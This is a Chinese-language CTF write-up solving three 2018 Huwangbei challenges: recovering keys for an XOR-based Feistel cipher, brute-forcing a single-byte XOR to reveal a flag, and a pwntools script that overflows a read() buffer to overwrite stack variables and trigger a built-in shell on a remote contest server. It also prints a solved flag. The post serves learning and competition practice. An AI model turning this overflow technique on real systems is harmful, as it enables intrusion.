天天看點

2018護網杯_fez_簽到_gettingstartfez簽到gettingstart

fez

 題目給了兩個檔案:

2018護網杯_fez_簽到_gettingstartfez簽到gettingstart

fez.py:

import os
def xor(a,b):
    assert len(a)==len(b)
    c=""
    for i in range(len(a)):
        c+=chr(ord(a[i])^ord(b[i]))
    return c
def f(x,k):
    return xor(xor(x,k),7)

def round(M,K):
    L=M[0:27]
    R=M[27:54]
    new_l=R
    new_r=xor(xor(R,L),K)# new_r = R ^ L ^ K
    return new_l+new_r
def fez(m,K):
    for i in K:#do 7 times
        m=round(m,i)
    return m

K=[]
for i in range(7):
    K.append(os.urandom(27))

m=open("flag","rb").read()
assert len(m)<54
m+=os.urandom(54-len(m))

test=os.urandom(54)
print test.encode("hex")
print fez(test,K).encode("hex")
print fez(m,K).encode("hex")
           

fez.log:

d731a7b0f7fa1da45fc1d00f86128ab1e5f6f093a5af1078e20aafcf3d159d454d6491073a2429e886fdf588ea8a62af220c983c4024
2c9920ccfed9d7b0f0f1873487556212dfe53736139fff846f7a31c32afa37606e7dff8d745a8b7e1072ec56402c5977fa6b9f047f55
8795062cec3a3402d2b6e1847ccda6e6d305df98fc4365932e485ad97b1a00fe11e69a8497806b74ff5dc2e060025262b88785c42ca2
           

 通過觀察py檔案,看到他是讀入了flag,補足到54個長度,然後對flag進行加密,然後最後三個print出來的就在log檔案裡面。

這裡os.urandom(length)作用是生成一個随機内容的,長度為length的字元串。内容包括非可列印。比如

>>> os.urandom(len('asd'))
' \xc1q'
           

 這個方法可以用來生成一些加密算法所需要的密鑰。先不用管,反正就是個字元串。

顯然,想解出flag必須知道test, K。K是長度為7的list,每個元素對應一個随機字元串。

我們觀察fez()函數以及調用方法可以發現,我們得到Ki的組合整體代入就可以。順着程式流程走,如下表:

2018護網杯_fez_簽到_gettingstartfez簽到gettingstart

( 等号兩邊同時異或;a ^ a ^ b = b,相同xor抵消。)

解密就很簡單了。求出兩個K的整體,然後帶入把m解出來,拼接得到flag:

2018護網杯_fez_簽到_gettingstartfez簽到gettingstart

簽到

題目提示easy xor???,下載下傳一個txt

AAoHAR1TJ1clUFYjVSRRV1cnIiUiV1BeUFNeIlBXI1BVI1UlUBs=
           

顯然base64, 本來猜測是list元素之間兩兩異或,嘗試無果。最後直接暴力試一下:

import base64

s = 'AAoHAR1TJ1clUFYjVSRRV1cnIiUiV1BeUFNeIlBXI1BVI1UlUBs='
L = list(base64.b64decode(s.encode('utf-8')))

for n in range(1,0xff):#0x66
	s = ''
	for i,a in enumerate(L):
		s += chr(L[i]^n)
	if s[0:4] == 'flag':
		print(hex(n),s)
           

用list()之後元素為10進制格式。

L = [0x00,0x0a,0x07,0x01,0x1d,0x53,0x27,0x57,0x25,0x50,0x56,0x23,0x55,0x24,0x51,0x57,0x57,0x27,0x22,0x25,0x22,

    0x57,0x50,0x5e,0x50,0x53,0x5e,0x22,0x50,0x57,0x23,0x50,0x55,0x23,0x55,0x25,0x50,0x1b] 

0x66 flag{5A1C60E3B711ADCD168658D61E63E3C6}
           

成功。 

gettingstart

file一下發現是64bit。先運作一下

2018護網杯_fez_簽到_gettingstartfez簽到gettingstart

拖進IDA:

進到main函數

2018護網杯_fez_簽到_gettingstartfez簽到gettingstart

自己帶後門/bin/sh了,是以我們能讓if裡面的值為false就可以了。

找到漏洞位置:read(0, &buf, 0x28uLL); 向buf這個數組讀入了長度為0x28的資料,而通過觀察

2018護網杯_fez_簽到_gettingstartfez簽到gettingstart

 棧幀向下往高位址生長,buf到v7的偏移隻有0x18,到v8的偏移隻有0x20,是以我們可以覆寫掉v7,v8的值,v7 == 0x7FFFFFFFFFFFFFFF,v8 == 0.1

這裡有個問題,對于64位下的double 0.1在記憶體中的存儲形式。這裡用了個笨方法

2018護網杯_fez_簽到_gettingstartfez簽到gettingstart

怪尴尬的。。其實一開始是在windows上寫的,輸出了個這玩意

2018護網杯_fez_簽到_gettingstartfez簽到gettingstart

這是錯誤的。

于是linux繼續寫:

2018護網杯_fez_簽到_gettingstartfez簽到gettingstart

gcc之後再gdb看

2018護網杯_fez_簽到_gettingstartfez簽到gettingstart

rbp-0x8的位置,是以0.1就是0x3fb999999999999a

(對于上述方法,各路dalao有好辦法的請多多指教)

繼續看IDA,因為v5,v6都是0,是以buf直接合并成數組:

2018護網杯_fez_簽到_gettingstartfez簽到gettingstart

buf在rsp+0x10位置,新的v5在rsp+0x28的位置,offset為0x18,是以填0x18個字元到buf裡之後可以p64寫入目标值。 

編寫payload腳本:

from pwn import *

LOCAL = False
def main():
	if LOCAL:
		p = process('./task_gettingStart_ktQeERc')
	else:
		p = remote('49.4.79.120','30434')
	payload = 'a'*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3fb999999999999a)
	p.sendline(payload)
	p.interactive()

if __name__ == '__main__':
	main()
           
2018護網杯_fez_簽到_gettingstartfez簽到gettingstart

得到flag。

新手做題,寫的有點啰嗦,見諒!

ctf